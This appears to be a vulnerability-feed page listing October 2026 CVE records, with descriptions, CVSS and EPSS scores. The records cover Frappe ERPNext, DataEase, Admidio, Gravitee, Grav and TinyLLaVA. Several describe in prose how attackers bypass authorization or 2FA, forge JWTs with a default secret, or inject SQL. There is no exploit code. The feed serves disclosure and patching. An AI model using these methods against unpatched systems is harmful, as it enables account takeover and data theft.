Frappe ERPNext before 15.110.0 and 16.x before 16.21.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper permission checks on inventory records. Authenticated users can send requests to these endpoints to modify inventory data beyond what their assigned role permits.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe ERPNext before 15.116.0 and 16.x before 16.27.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper authorization checks,...
https://kevwire.com/record/CVE-2026-109661
Frappe ERPNext before 15.116.0 and 16.x before 16.27.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper authorization checks,... (Oct 12, 2026).
Frappe ERPNext before 15.116.0 and 16.x before 16.27.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper authorization checks, exposing financial data. Authenticated attackers with low-privileged accounts can query these endpoints to read financial data beyond their permitted role.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109661).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109661&date=2026-10-25).
Sources:
NVD CVE-2026-109661: https://nvd.nist.gov/vuln/detail/CVE-2026-109661
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109661&date=2026-10-25
Frappe ERPNext before 15.116.0 and 16.x before 16.27.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper authorization checks, exposing financial data. Authenticated attackers with low-privileged accounts can query these endpoints to read financial data beyond their permitted role.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe ERPNext before 15.118.2 and 16.x before 16.30.0 contains a missing authorization vulnerability in which certain endpoints fail to enforce proper authorization checks on...
https://kevwire.com/record/CVE-2026-109656
Frappe ERPNext before 15.118.2 and 16.x before 16.30.0 contains a missing authorization vulnerability in which certain endpoints fail to enforce proper authorization checks on... (Oct 12, 2026).
Frappe ERPNext before 15.118.2 and 16.x before 16.30.0 contains a missing authorization vulnerability in which certain endpoints fail to enforce proper authorization checks on item master data. Authenticated attackers with low-privileged accounts can call these endpoints to read item master data beyond their permitted role.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109656).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109656&date=2026-10-25).
Sources:
NVD CVE-2026-109656: https://nvd.nist.gov/vuln/detail/CVE-2026-109656
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109656&date=2026-10-25
Frappe ERPNext before 15.118.2 and 16.x before 16.30.0 contains a missing authorization vulnerability in which certain endpoints fail to enforce proper authorization checks on item master data. Authenticated attackers with low-privileged accounts can call these endpoints to read item master data beyond their permitted role.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe ERPNext before 15.106.0 and 16.x before 16.16.0 contains an SQL injection vulnerability in some endpoints due to missing input validation.
https://kevwire.com/record/CVE-2026-109646
Frappe ERPNext before 15.106.0 and 16.x before 16.16.0 contains an SQL injection vulnerability in some endpoints due to missing input validation. (Oct 12, 2026).
Frappe ERPNext before 15.106.0 and 16.x before 16.16.0 contains an SQL injection vulnerability in some endpoints due to missing input validation. Authenticated low-privileged attackers can send specially crafted requests to these endpoints to inject SQL and extract sensitive information from the database.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109646).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109646&date=2026-10-25).
Sources:
NVD CVE-2026-109646: https://nvd.nist.gov/vuln/detail/CVE-2026-109646
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109646&date=2026-10-25
Frappe ERPNext before 15.106.0 and 16.x before 16.16.0 contains an SQL injection vulnerability in some endpoints due to missing input validation. Authenticated low-privileged attackers can send specially crafted requests to these endpoints to inject SQL and extract sensitive information from the database.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe ERPNext before 15.115.0 and 16.x before 16.26.0 contains a missing authorization vulnerability because certain endpoints fail to enforce proper permission checks.
https://kevwire.com/record/CVE-2026-109636
Frappe ERPNext before 15.115.0 and 16.x before 16.26.0 contains a missing authorization vulnerability because certain endpoints fail to enforce proper permission checks. (Oct 12, 2026).
Frappe ERPNext before 15.115.0 and 16.x before 16.26.0 contains a missing authorization vulnerability because certain endpoints fail to enforce proper permission checks. Authenticated attackers with low-privileged accounts can call these endpoints to read financial data beyond their permitted role.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109636).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109636&date=2026-10-25).
Sources:
NVD CVE-2026-109636: https://nvd.nist.gov/vuln/detail/CVE-2026-109636
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109636&date=2026-10-25
Frappe ERPNext before 15.115.0 and 16.x before 16.26.0 contains a missing authorization vulnerability because certain endpoints fail to enforce proper permission checks. Authenticated attackers with low-privileged accounts can call these endpoints to read financial data beyond their permitted role.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe ERPNext before 15.119.1 and 16.x before 16.32.0 contains an SQL injection vulnerability in some endpoints that lack input validation, allowing crafted input to alter...
https://kevwire.com/record/CVE-2026-109631
Frappe ERPNext before 15.119.1 and 16.x before 16.32.0 contains an SQL injection vulnerability in some endpoints that lack input validation, allowing crafted input to alter... (Oct 12, 2026).
Frappe ERPNext before 15.119.1 and 16.x before 16.32.0 contains an SQL injection vulnerability in some endpoints that lack input validation, allowing crafted input to alter database queries. Authenticated attackers with low privileges can send specially crafted requests to these endpoints to extract sensitive information from the database.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109631).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109631&date=2026-10-25).
Sources:
NVD CVE-2026-109631: https://nvd.nist.gov/vuln/detail/CVE-2026-109631
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109631&date=2026-10-25
Frappe ERPNext before 15.119.1 and 16.x before 16.32.0 contains an SQL injection vulnerability in some endpoints that lack input validation, allowing crafted input to alter database queries. Authenticated attackers with low privileges can send specially crafted requests to these endpoints to extract sensitive information from the database.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe ERPNext before 16.34.2 contains an SQL injection vulnerability caused by missing input validation in multiple endpoints.
https://kevwire.com/record/CVE-2026-109626
Frappe ERPNext before 16.34.2 contains an SQL injection vulnerability caused by missing input validation in multiple endpoints. (Oct 12, 2026).
Frappe ERPNext before 16.34.2 contains an SQL injection vulnerability caused by missing input validation in multiple endpoints. Authenticated attackers with low privileges can send specially crafted requests to these endpoints to inject SQL and extract sensitive information from the database.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109626).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109626&date=2026-10-25).
Sources:
NVD CVE-2026-109626: https://nvd.nist.gov/vuln/detail/CVE-2026-109626
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109626&date=2026-10-25
Frappe ERPNext before 16.34.2 contains an SQL injection vulnerability caused by missing input validation in multiple endpoints. Authenticated attackers with low privileges can send specially crafted requests to these endpoints to inject SQL and extract sensitive information from the database.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe ERPNext before 15.120.0 and 16.x before 16.23.0 contains an authorization bypass in an endpoint that honours a caller-supplied flag disabling its own permission enforcement.
https://kevwire.com/record/CVE-2026-109621
Frappe ERPNext before 15.120.0 and 16.x before 16.23.0 contains an authorization bypass in an endpoint that honours a caller-supplied flag disabling its own permission enforcement. (Oct 12, 2026).
Frappe ERPNext before 15.120.0 and 16.x before 16.23.0 contains an authorization bypass in an endpoint that honours a caller-supplied flag disabling its own permission enforcement. Authenticated attackers can set this flag when calling the endpoint to skip permission checks and read party records beyond their permitted role.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109621).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109621&date=2026-10-25).
Sources:
NVD CVE-2026-109621: https://nvd.nist.gov/vuln/detail/CVE-2026-109621
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109621&date=2026-10-25
Frappe ERPNext before 15.120.0 and 16.x before 16.23.0 contains an authorization bypass in an endpoint that honours a caller-supplied flag disabling its own permission enforcement. Authenticated attackers can set this flag when calling the endpoint to skip permission checks and read party records beyond their permitted role.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe ERPNext before 15.121.0 and 16.x before 16.34.0 contains a missing authorization vulnerability in which certain endpoints fail to enforce proper authorization checks on...
https://kevwire.com/record/CVE-2026-109613
Frappe ERPNext before 15.121.0 and 16.x before 16.34.0 contains a missing authorization vulnerability in which certain endpoints fail to enforce proper authorization checks on... (Oct 12, 2026).
Frappe ERPNext before 15.121.0 and 16.x before 16.34.0 contains a missing authorization vulnerability in which certain endpoints fail to enforce proper authorization checks on document status modification. Authenticated low-privileged users can call these endpoints to modify data beyond their permitted role, bypassing intended role-based access restrictions.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109613).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109613&date=2026-10-25).
Sources:
NVD CVE-2026-109613: https://nvd.nist.gov/vuln/detail/CVE-2026-109613
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109613&date=2026-10-25
Frappe ERPNext before 15.121.0 and 16.x before 16.34.0 contains a missing authorization vulnerability in which certain endpoints fail to enforce proper authorization checks on document status modification. Authenticated low-privileged users can call these endpoints to modify data beyond their permitted role, bypassing intended role-based access restrictions.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe ERPNext before 15.121.0 and 16.x before 16.34.0 contains an SQL injection vulnerability in several endpoints that lack input validation.
https://kevwire.com/record/CVE-2026-109608
Frappe ERPNext before 15.121.0 and 16.x before 16.34.0 contains an SQL injection vulnerability in several endpoints that lack input validation. (Oct 12, 2026).
Frappe ERPNext before 15.121.0 and 16.x before 16.34.0 contains an SQL injection vulnerability in several endpoints that lack input validation. Any authenticated user, including one with no assigned roles, can send specially crafted requests to read other users' sensitive information and escalate to a privileged account.
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109608).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109608&date=2026-10-25).
Sources:
NVD CVE-2026-109608: https://nvd.nist.gov/vuln/detail/CVE-2026-109608
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109608&date=2026-10-25
Frappe ERPNext before 15.121.0 and 16.x before 16.34.0 contains an SQL injection vulnerability in several endpoints that lack input validation. Any authenticated user, including one with no assigned roles, can send specially crafted requests to read other users' sensitive information and escalate to a privileged account.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security flaw has been discovered in TinyLLaVA TinyLLaVA_Factory up to 1abc6ac5e76a68d0fd087a071b56da968e69ca9b. The impacted element is the function _load_text_config of the...
https://kevwire.com/record/CVE-2026-108957
A security flaw has been discovered in TinyLLaVA TinyLLaVA_Factory up to 1abc6ac5e76a68d0fd087a071b56da968e69ca9b. The impacted element is the function _load_text_config of the... (Oct 13, 2026).
A security flaw has been discovered in TinyLLaVA TinyLLaVA_Factory up to 1abc6ac5e76a68d0fd087a071b56da968e69ca9b. The impacted element is the function _load_text_config of the file tinyllava/model/configuration_tinyllava.py of the component TinyLlavaConfig. Performing a manipulation of the argument llm_model_name_or_path results in code injection. Remote exploitation of the attack is possible. The exploit has been released to the public and may be used for attacks. This product follows a rolling release approach for continuous delivery, so version details for affected or updated releases are not provided. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 2.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108957).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108957&date=2026-10-25).
Sources:
NVD CVE-2026-108957: https://nvd.nist.gov/vuln/detail/CVE-2026-108957
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108957&date=2026-10-25
A security flaw has been discovered in TinyLLaVA TinyLLaVA_Factory up to 1abc6ac5e76a68d0fd087a071b56da968e69ca9b. The impacted element is the function _load_text_config of the file tinyllava/model/configuration_tinyllava.py of the component TinyLlavaConfig. Performing a manipulation of the argument llm_model_name_or_path results in code injection. Remote exploitation of the attack is possible. The exploit has been released to the public and may be used for attacks. This product follows a rolling release approach for continuous delivery, so version details for affected or updated releases are not provided. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### DataEase is an open source data visualization and analysis tool.
https://kevwire.com/record/CVE-2026-104142
DataEase is an open source data visualization and analysis tool. (Oct 14, 2026).
DataEase is an open source data visualization and analysis tool. Prior to 2.10.26, authenticated users can store crafted FieldGroupDTO.min, FieldGroupDTO.max, FieldGroupDTO.startTime, or FieldGroupDTO.endTime values in dataset group-field binning definitions. Utils.transGroupFieldToSql inserts these free-form values into generated CASE expressions without validation, and the resulting SQL can reach unparameterized backend query execution when a chart uses the field. This stored SQL injection can compromise the confidentiality, integrity, and availability of the configured backend database. This issue is fixed in version 2.10.26.
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104142).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104142&date=2026-10-25).
Sources:
NVD CVE-2026-104142: https://nvd.nist.gov/vuln/detail/CVE-2026-104142
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104142&date=2026-10-25
DataEase is an open source data visualization and analysis tool. Prior to 2.10.26, authenticated users can store crafted FieldGroupDTO.min, FieldGroupDTO.max, FieldGroupDTO.startTime, or FieldGroupDTO.endTime values in dataset group-field binning definitions. Utils.transGroupFieldToSql inserts these free-form values into generated CASE expressions without validation, and the resulting SQL can reach unparameterized backend query execution when a chart uses the field. This stored SQL injection can compromise the confidentiality, integrity, and availability of the configured backend database. This issue is fixed in version 2.10.26.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe framework before 13.32.0 uses weak authentication for print view access, because the print view key can be derived from data exposed by other whitelisted API endpoints.
https://kevwire.com/record/CVE-2023-54411
Frappe framework before 13.32.0 uses weak authentication for print view access, because the print view key can be derived from data exposed by other whitelisted API endpoints. (Oct 12, 2026).
Frappe framework before 13.32.0 uses weak authentication for print view access, because the print view key can be derived from data exposed by other whitelisted API endpoints. Attackers can generate a valid key to view documents through the print view without proper permissions.
CVSS 8.2 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2023-54411).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-54411&date=2026-10-25).
Sources:
NVD CVE-2023-54411: https://nvd.nist.gov/vuln/detail/CVE-2023-54411
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-54411&date=2026-10-25
Frappe framework before 13.32.0 uses weak authentication for print view access, because the print view key can be derived from data exposed by other whitelisted API endpoints. Attackers can generate a valid key to view documents through the print view without proper permissions.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Admidio 4.3.2 through 4.3.17 and 5.0.0 before 5.0.15 contains a broken access control vulnerability that allows role administrators to assign users to roles in other organizations.
https://kevwire.com/record/CVE-2026-109329
Admidio 4.3.2 through 4.3.17 and 5.0.0 before 5.0.15 contains a broken access control vulnerability that allows role administrators to assign users to roles in other organizations. (Oct 12, 2026).
Admidio 4.3.2 through 4.3.17 and 5.0.0 before 5.0.15 contains a broken access control vulnerability that allows role administrators to assign users to roles in other organizations. Attackers can submit crafted assign requests to members_assignment.php with a foreign role UUID to gain privileged membership, log into that organization, and edit its user profiles.
CVSS 8.5 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109329).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109329&date=2026-10-25).
Sources:
NVD CVE-2026-109329: https://nvd.nist.gov/vuln/detail/CVE-2026-109329
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109329&date=2026-10-25
Admidio 4.3.2 through 4.3.17 and 5.0.0 before 5.0.15 contains a broken access control vulnerability that allows role administrators to assign users to roles in other organizations. Attackers can submit crafted assign requests to members_assignment.php with a foreign role UUID to gain privileged membership, log into that organization, and edit its user profiles.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Gravitee API Management through 4.12.22 contains an authentication bypass vulnerability that allows unauthenticated remote attackers to impersonate any user by forging JWTs signed...
https://kevwire.com/record/CVE-2020-37281
Gravitee API Management through 4.12.22 contains an authentication bypass vulnerability that allows unauthenticated remote attackers to impersonate any user by forging JWTs signed... (Oct 14, 2026).
Gravitee API Management through 4.12.22 contains an authentication bypass vulnerability that allows unauthenticated remote attackers to impersonate any user by forging JWTs signed with the shipped default jwt.secret. Attackers knowing an existing user ID can sign an HS256 token with that subject and present it as a bearer token to the Management API, impersonating administrators to gain full platform control.
CVSS 9.2 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2020-37281).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-37281&date=2026-10-25).
Sources:
NVD CVE-2020-37281: https://nvd.nist.gov/vuln/detail/CVE-2020-37281
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-37281&date=2026-10-25
Gravitee API Management through 4.12.22 contains an authentication bypass vulnerability that allows unauthenticated remote attackers to impersonate any user by forging JWTs signed with the shipped default jwt.secret. Attackers knowing an existing user ID can sign an HS256 token with that subject and present it as a bearer token to the Management API, impersonating administrators to gain full platform control.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Grav Login plugin 2.7.0 before 3.9.9 contains an authentication bypass in processUserProfile(), which checks that the session user exists but not that a pending front-end 2FA...
https://kevwire.com/record/CVE-2026-109312
Grav Login plugin 2.7.0 before 3.9.9 contains an authentication bypass in processUserProfile(), which checks that the session user exists but not that a pending front-end 2FA... (Oct 12, 2026).
Grav Login plugin 2.7.0 before 3.9.9 contains an authentication bypass in processUserProfile(), which checks that the session user exists but not that a pending front-end 2FA session is fully authorized. Attackers with a victim's password who can publish a page form without an access rule can invoke update_user before completing 2FA to disable twofa_enabled and take over the account.
CVSS 8.6 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109312).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109312&date=2026-10-25).
Sources:
NVD CVE-2026-109312: https://nvd.nist.gov/vuln/detail/CVE-2026-109312
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109312&date=2026-10-25
Grav Login plugin 2.7.0 before 3.9.9 contains an authentication bypass in processUserProfile(), which checks that the session user exists but not that a pending front-end 2FA session is fully authorized. Attackers with a victim's password who can publish a page form without an access rule can invoke update_user before completing 2FA to disable twofa_enabled and take over the account.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Grav Login plugin 2.7.0 before 3.9.9 contains an authentication bypass vulnerability that allows attackers with a valid password to skip two-factor authentication through...
https://kevwire.com/record/CVE-2026-109313
Grav Login plugin 2.7.0 before 3.9.9 contains an authentication bypass vulnerability that allows attackers with a valid password to skip two-factor authentication through... (Oct 12, 2026).
Grav Login plugin 2.7.0 before 3.9.9 contains an authentication bypass vulnerability that allows attackers with a valid password to skip two-factor authentication through remember-me cookie restoration. Attackers can obtain a persistent remember-me cookie after the password step and restore it as a fully authorized session without completing the second factor.
CVSS 8.6 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109313).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109313&date=2026-10-25).
Sources:
NVD CVE-2026-109313: https://nvd.nist.gov/vuln/detail/CVE-2026-109313
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109313&date=2026-10-25
Grav Login plugin 2.7.0 before 3.9.9 contains an authentication bypass vulnerability that allows attackers with a valid password to skip two-factor authentication through remember-me cookie restoration. Attackers can obtain a persistent remember-me cookie after the password step and restore it as a fully authorized session without completing the second factor.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Grav Login plugin 1.2.0 before 3.9.9 contains an information disclosure vulnerability that allows publishers to obtain password-reset tokens by authoring a page at the reset route.
https://kevwire.com/record/CVE-2026-109314
Grav Login plugin 1.2.0 before 3.9.9 contains an information disclosure vulnerability that allows publishers to obtain password-reset tokens by authoring a page at the reset route. (Oct 12, 2026).
Grav Login plugin 1.2.0 before 3.9.9 contains an information disclosure vulnerability that allows publishers to obtain password-reset tokens by authoring a page at the reset route. When a victim opens an emailed reset link, the publisher-controlled page rendered by Login::getPage() exposes the username and bearer token, enabling takeover of more privileged accounts.
CVSS 8.5 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109314).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109314&date=2026-10-25).
Sources:
NVD CVE-2026-109314: https://nvd.nist.gov/vuln/detail/CVE-2026-109314
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109314&date=2026-10-25
Grav Login plugin 1.2.0 before 3.9.9 contains an information disclosure vulnerability that allows publishers to obtain password-reset tokens by authoring a page at the reset route. When a victim opens an emailed reset link, the publisher-controlled page rendered by Login::getPage() exposes the username and bearer token, enabling takeover of more privileged accounts.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Grav grav-plugin-api before 1.0.36 contains a privilege escalation vulnerability that allows delegated user managers to obtain super-admin access by storing positive scalar admin...
https://kevwire.com/record/CVE-2026-109317
Grav grav-plugin-api before 1.0.36 contains a privilege escalation vulnerability that allows delegated user managers to obtain super-admin access by storing positive scalar admin... (Oct 12, 2026).
Grav grav-plugin-api before 1.0.36 contains a privilege escalation vulnerability that allows delegated user managers to obtain super-admin access by storing positive scalar admin or api parent grants. Attackers with api.users.write can edit account access maps or invitations so the inheriting permission resolver satisfies requireSuper checks, accessing super-only API endpoints.
CVSS 8.6 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109317).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109317&date=2026-10-25).
Sources:
NVD CVE-2026-109317: https://nvd.nist.gov/vuln/detail/CVE-2026-109317
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109317&date=2026-10-25
Grav grav-plugin-api before 1.0.36 contains a privilege escalation vulnerability that allows delegated user managers to obtain super-admin access by storing positive scalar admin or api parent grants. Attackers with api.users.write can edit account access maps or invitations so the inheriting permission resolver satisfies requireSuper checks, accessing super-only API endpoints.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
